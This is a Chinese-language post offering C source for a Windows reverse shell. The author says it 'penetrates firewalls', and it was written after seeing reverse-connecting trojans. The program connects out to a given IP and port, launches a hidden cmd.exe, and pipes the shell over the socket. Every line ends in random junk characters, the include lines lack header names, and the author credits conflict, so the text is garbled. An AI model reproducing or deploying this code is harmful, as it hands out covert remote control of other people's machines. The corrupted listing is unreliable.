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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _Q:739&  
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/* ============================== PUdJ>U  
Rebound port in Windows NT NB z3j  
By wind,2006/7 P0En&g+~  
===============================*/ x*9CK8o=  
#include f;!1=/5u-  
#include y2gI]A  
r0379 _  
#pragma comment(lib,"wsock32.lib") wASgdGoy  
NVU@m+m~  
void OutputShell(); }`E5I&r4  
SOCKET sClient; <f %JZ4p*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kngkG|du  
R$X1Q/#md  
void main(int argc,char **argv) ;XNe:g.CR  
{ RMUR@o5N  
WSADATA stWsaData; bq/ m?;  
int nRet; TCYjj:/  
SOCKADDR_IN stSaiClient,stSaiServer; 3?iRf6;n  
[tGAo/  
if(argc != 3) f=]+\0MQ  
{ /) sA{q 4  
printf("Useage:\n\rRebound DestIP DestPort\n"); CMB:%  
return; JV(qTb W  
} O]>9\!0{  
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WSAStartup(MAKEWORD(2,2),&stWsaData); secD ` ]  
8,=N~(pd`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &b8Dy=#  
B{$4s8XU  
stSaiClient.sin_family = AF_INET; _ +[;NBz  
stSaiClient.sin_port = htons(0); {XH!`\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q]]}8l2  
<^q4^Q[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1DVu`<OXcH  
{ Fka&\9i  
printf("Bind Socket Failed!\n"); 1;?n]L`T  
return; d 4w+5H" u  
} EvSo|}JA[  
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stSaiServer.sin_family = AF_INET; &oI;^|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^kJ(bBY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l/0"'o_0v#  
rDFD rviW_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kDI(Y=Fg  
{ {:BAh 5e|  
printf("Connect Error!"); Lf0Y|^!S_u  
return; ]D_"tQ?i  
} f'&30lF  
OutputShell(); 2L"$p?  
} J&Ig%&/  
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void OutputShell() :cU6W2EV  
{ tQ0iie1Ys  
char szBuff[1024]; P`r@<cgb=  
SECURITY_ATTRIBUTES stSecurityAttributes; 2..b/  
OSVERSIONINFO stOsversionInfo; )y>o;^5'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N fe  
STARTUPINFO stStartupInfo; _+Tq&,_:o  
char *szShell; z H$^.1  
PROCESS_INFORMATION stProcessInformation; M~% ~y`D^  
unsigned long lBytesRead; 3h t>eaHi  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JxI\ss?O  
B-'oB>|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rXl ~D!  
stSecurityAttributes.lpSecurityDescriptor = 0; :yg:sU  
stSecurityAttributes.bInheritHandle = TRUE; Nl"Xl?y}  
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p5F=?*[}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @o4+MQFn  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mL\_C9k,n  
2?vjj:P+h  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8{DZew /  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cyYsz'i m  
stStartupInfo.wShowWindow = SW_HIDE; (4:&tm/;  
stStartupInfo.hStdInput = hReadPipe; Y)~Y;;/G  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (41BUX  
aqL#g18  
GetVersionEx(&stOsversionInfo); |5J'`1W  
,Sz`$'^c  
switch(stOsversionInfo.dwPlatformId) >i&"{GZ  
{ o>Fc.$ngZ  
case 1: PSCzeR  
szShell = "command.com"; ai,\'%N  
break; 8+}yf.`  
default: K<k!sh   
szShell = "cmd.exe"; U&F1}P$fb  
break; !4;A"B(  
} ;4(ULJ*  
[D;wB|+,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5(9SIj^O  
qKt*<KGeY  
send(sClient,szMsg,77,0); V]E# N  
while(1) Bh` Y?S  
{ s R~D3-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -4 *94<  
if(lBytesRead) g=ehAg  
{ rC !!X  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8>R 75 dw  
send(sClient,szBuff,lBytesRead,0); qu8!fFQjYL  
} 5OJ8o>BF  
else Bqcih$`BVU  
{ ,Yp+&&p.  
lBytesRead=recv(sClient,szBuff,1024,0); MWGs:tpL4  
if(lBytesRead<=0) break; %|"0p3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^l,(~03_  
} 5{zmuv:  
} xYmh{Vc8  
95XQ?%  
return; j ."L=  
}
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